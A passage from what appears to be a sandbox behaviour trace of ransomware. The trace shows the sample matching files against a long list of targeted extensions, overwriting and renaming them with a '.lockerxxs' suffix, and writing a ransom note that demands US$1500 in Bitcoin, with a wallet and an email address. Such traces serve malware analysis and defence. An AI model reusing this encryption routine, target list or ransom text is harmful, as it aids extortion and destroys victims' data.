10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.php") returned 0 [0068.872] lstrlenA (lpString="*.php") returned 5 [0068.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0068.872] lstrlenA (lpString="*.cs") returned 4 [0068.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0068.872] lstrlenA (lpString="*.cpp") returned 5 [0068.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0068.872] lstrlenA (lpString="*.rar") returned 5 [0068.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0068.872] lstrlenA (lpString="*.zip") returned 5 [0068.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.html") returned 0 [0068.872] lstrlenA (lpString="*.html") returned 6 [0068.872] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0068.873] lstrlenA (lpString="*.htm") returned 5 [0068.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0068.873] lstrlenA (lpString="*.xlsx") returned 6 [0068.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0068.873] lstrlenA (lpString="*.xls") returned 5 [0068.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0068.873] lstrlenA (lpString="*.mp4") returned 5 [0068.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0068.873] lstrlenA (lpString="*.ppt") returned 5 [0068.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0068.873] lstrlenA (lpString="*.pptx") returned 6 [0068.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0068.873] lstrlenA (lpString="*.doc") returned 5 [0068.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0068.873] lstrlenA (lpString="*.dot") returned 5 [0068.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0068.873] lstrlenA (lpString="*.docx") returned 6 [0068.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0068.873] lstrlenA (lpString="*.7z") returned 4 [0068.873] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0068.873] lstrlenA (lpString="*.tar") returned 5 [0068.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0068.874] lstrlenA (lpString="*.bz2") returned 5 [0068.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0068.874] lstrlenA (lpString="*.gz") returned 4 [0068.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0068.874] lstrlenA (lpString="*.mkv") returned 5 [0068.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.874] lstrlenA (lpString="*.eml") returned 5 [0068.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0068.874] lstrlenA (lpString="*.msg") returned 5 [0068.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0068.874] lstrlenA (lpString="*.edb") returned 5 [0068.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0068.874] lstrlenA (lpString="*.accdb") returned 7 [0068.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0068.874] lstrlenA (lpString="*.odb") returned 5 [0068.874] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.java") returned 0 [0068.874] lstrlenA (lpString="*.java") returned 6 [0068.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0068.875] lstrlenA (lpString="*.asm") returned 5 [0068.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0068.875] lstrlenA (lpString="*.pfx") returned 5 [0068.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0068.875] lstrlenA (lpString="*.pem") returned 5 [0068.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0068.875] lstrlenA (lpString="*.p12") returned 5 [0068.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0068.875] lstrlenA (lpString="*.gpg") returned 5 [0068.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0068.875] lstrlenA (lpString="*.vsd") returned 5 [0068.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0068.875] lstrlenA (lpString="*.odg") returned 5 [0068.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0068.875] lstrlenA (lpString="*.raw") returned 5 [0068.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0068.875] lstrlenA (lpString="*.nef") returned 5 [0068.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0068.875] lstrlenA (lpString="*.svg") returned 5 [0068.875] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0068.875] lstrlenA (lpString="*.psd") returned 5 [0068.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0068.876] lstrlenA (lpString="*.vmx") returned 5 [0068.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0068.876] lstrlenA (lpString="*.vmdk") returned 6 [0068.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0068.876] lstrlenA (lpString="*.vdi") returned 5 [0068.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0068.876] lstrlenA (lpString="*.lay6") returned 6 [0068.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0068.876] lstrlenA (lpString="*.mpeg") returned 6 [0068.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0068.876] lstrlenA (lpString="*.djvu") returned 6 [0068.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0068.876] lstrlenA (lpString="*.tiff") returned 6 [0068.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0068.876] lstrlenA (lpString="*.backup") returned 8 [0068.876] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0068.876] lstrlenA (lpString="*.pdf") returned 5 [0068.876] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf" [0068.876] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf" [0068.877] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf." [0068.877] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf.lockerxxs" [0068.877] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.877] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5be8 [0068.877] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a2abc0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0068.877] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.878] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x5bc2, lpOverlapped=0x0) returned 1 [0068.881] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf") returned="DefaultID.pdf" [0068.881] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.881] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5bc2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5bc2, lpOverlapped=0x0) returned 1 [0068.881] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.881] CloseHandle (hObject=0x94) returned 1 [0068.892] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\defaultid.pdf.lockerxxs")) returned 1 [0068.893] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5be8, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0068.893] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0068.893] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="RUS", cAlternateFileName="")) returned 1 [0068.893] lstrcmpA (lpString1=".", lpString2="RUS") returned -1 [0068.893] lstrcmpA (lpString1="..", lpString2="RUS") returned -1 [0068.893] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0068.893] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="RUS" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS" [0068.893] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS") returned 63 [0068.893] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.894] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0068.894] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0068.894] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0068.894] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0068.894] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e071, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0068.894] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.894] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0068.894] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0068.894] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0068.894] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\*.*") returned="*.*" [0068.894] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\" [0068.894] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\") returned="" [0068.894] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\HOW TO DECRYPT FILES.txt" [0068.894] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\how to decrypt files.txt")) returned 0xffffffff [0068.895] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.895] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0068.895] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0068.897] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0068.897] CloseHandle (hObject=0x94) returned 1 [0068.897] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf" [0068.897] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0068.897] lstrlenA (lpString="*.ems") returned 5 [0068.897] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.db") returned 0 [0068.897] lstrlenA (lpString="*.db") returned 4 [0068.897] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0068.897] lstrlenA (lpString="*.dbf") returned 5 [0068.897] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0068.897] lstrlenA (lpString="*.myox") returned 6 [0068.897] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0068.897] lstrlenA (lpString="*.myo") returned 5 [0068.897] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0068.898] lstrlenA (lpString="*.qbw") returned 5 [0068.898] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0068.898] lstrlenA (lpString="*.qbb") returned 5 [0068.898] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0068.898] lstrlenA (lpString="*.qbm") returned 5 [0068.898] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0068.898] lstrlenA (lpString="*.qbo") returned 5 [0068.898] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0068.898] lstrlenA (lpString="*.qbx") returned 5 [0068.898] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0068.898] lstrlenA (lpString="*.qba") returned 5 [0068.898] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0068.898] lstrlenA (lpString="*.qby") returned 5 [0068.898] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0068.898] lstrlenA (lpString="*.qbj") returned 5 [0068.898] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0068.898] lstrlenA (lpString="*.ofx") returned 5 [0068.898] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0068.898] lstrlenA (lpString="*.qif") returned 5 [0068.898] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0068.898] lstrlenA (lpString="*.mye") returned 5 [0068.898] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0068.898] lstrlenA (lpString="*.mbox") returned 6 [0068.898] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.898] lstrlenA (lpString="*.eml") returned 5 [0068.898] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0068.898] lstrlenA (lpString="*.pst") returned 5 [0068.898] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0068.898] lstrlenA (lpString="*.ost") returned 5 [0068.898] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0068.899] lstrlenA (lpString="*.idx") returned 5 [0068.899] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0068.899] lstrlenA (lpString="*.dbx") returned 5 [0068.899] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0068.899] lstrlenA (lpString="*.sql") returned 5 [0068.899] PathMatchSpecA 